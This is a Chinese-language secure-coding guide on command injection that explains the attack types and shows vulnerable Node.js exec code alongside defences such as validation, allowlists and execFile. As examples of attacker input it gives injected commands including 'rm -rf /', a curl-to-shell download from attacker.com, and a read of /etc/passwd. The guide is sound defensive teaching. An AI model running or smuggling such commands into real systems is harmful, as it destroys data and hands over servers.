跳到主要内容

命令注入

威胁描述

命令注入是一种攻击方式,攻击者通过在用户输入中插入恶意命令,使服务器执行非预期的系统命令。虽然命令注入主要发生在后端,但前端开发者也需要了解其原理和防御措施,因为前端输入验证是防止命令注入的第一道防线。命令注入可能导致服务器被完全控制、数据泄露、服务中断等严重后果。

类型分类

1. 直接命令注入

攻击者直接注入完整的命令,服务器直接执行。

2. 间接命令注入

攻击者通过修改环境变量、配置文件等方式,间接诱导服务器执行恶意命令。

3. 盲命令注入

攻击者无法直接获取命令执行结果,但可以通过其他方式(如时间延迟)推断命令是否执行成功。

工作原理

  1. 应用程序接收用户输入并将其拼接到系统命令中
  2. 攻击者构造包含恶意命令的输入
  3. 应用程序未对输入进行适当验证或过滤
  4. 恶意命令被执行,造成危害

示例代码

1. 简单命令注入

// 前端代码
const filename = document.getElementById('filename').value;

// 不安全的后端代码(Node.js)
const { exec } = require('child_process');
exec(`ls -la ${filename}`, (error, stdout, stderr) => {
// 处理结果
});

// 攻击者输入
// filename: ; rm -rf /

// 执行后的命令
ls -la ; rm -rf /

2. 命令注入与文件上传结合

// 前端代码
const uploadPath = document.getElementById('uploadPath').value;

// 不安全的后端代码(Node.js)
const { exec } = require('child_process');
exec(`mkdir -p ${uploadPath}`, (error, stdout, stderr) => {
// 处理结果
});

// 攻击者输入
// uploadPath: /tmp/evil; curl https://attacker.com/malware.sh | sh

// 执行后的命令
mkdir -p /tmp/evil; curl https://attacker.com/malware.sh | sh

3. 前端未验证的输入

<!-- 前端表单 -->
<form action="/process" method="POST">
<input type="text" name="filename" placeholder="文件名...">
<button type="submit">处理</button>
</form>

<!-- 攻击者输入到文件名框 -->
file.txt; cat /etc/passwd

防御措施

1. 前端输入验证

在前端对用户输入进行基本验证,过滤潜在危险字符:

// 验证输入是否只包含字母、数字和部分安全字符
function validateFilename(input) {
const regex = /^[a-zA-Z0-9_\-\.]*$/;
return regex.test(input);
}

// 表单提交时验证
document.getElementById('fileForm').addEventListener('submit', function(e) {
const filename = document.getElementById('filename').value;
if (!validateFilename(filename)) {
alert('文件名包含非法字符');
e.preventDefault();
}
});

2. 后端输入验证和白名单

在后端对用户输入进行严格验证,只允许预期的格式和字符:

// 后端验证文件名
function validateFilename(filename) {
const regex = /^[a-zA-Z0-9_\-\.]*$/;
return regex.test(filename);
}

// 使用白名单限制允许的命令参数
const allowedCommands = ['list', 'view', 'download'];
function validateCommand(command) {
return allowedCommands.includes(command);
}

3. 避免直接执行系统命令

尽量避免使用execsystem等函数直接执行系统命令。如果必须使用,使用安全的方式:

// 安全的方式:使用参数数组
const { execFile } = require('child_process');
execFile('ls', ['-la', filename], (error, stdout, stderr) => {
// 处理结果
});

4. 最小权限原则

为应用程序运行的用户分配最小必要权限,限制潜在损失:

  • 避免使用root或管理员权限运行应用程序
  • 限制对敏感目录和文件的访问

最佳实践

  1. 避免直接执行系统命令,尽量使用编程语言内置的函数和库
  2. 如果必须执行系统命令,使用参数数组而非字符串拼接
  3. 在前端和后端都实施输入验证,但以后端验证为主
  4. 使用白名单限制允许的输入和命令
  5. 为应用程序运行的用户分配最小必要权限
  6. 定期进行安全测试,包括命令注入测试
  7. 保持操作系统和应用程序的更新,以防止已知漏洞被利用
  8. 实施命令执行审计日志,记录所有系统命令操作
  9. 考虑使用安全沙箱环境执行系统命令,限制其影响范围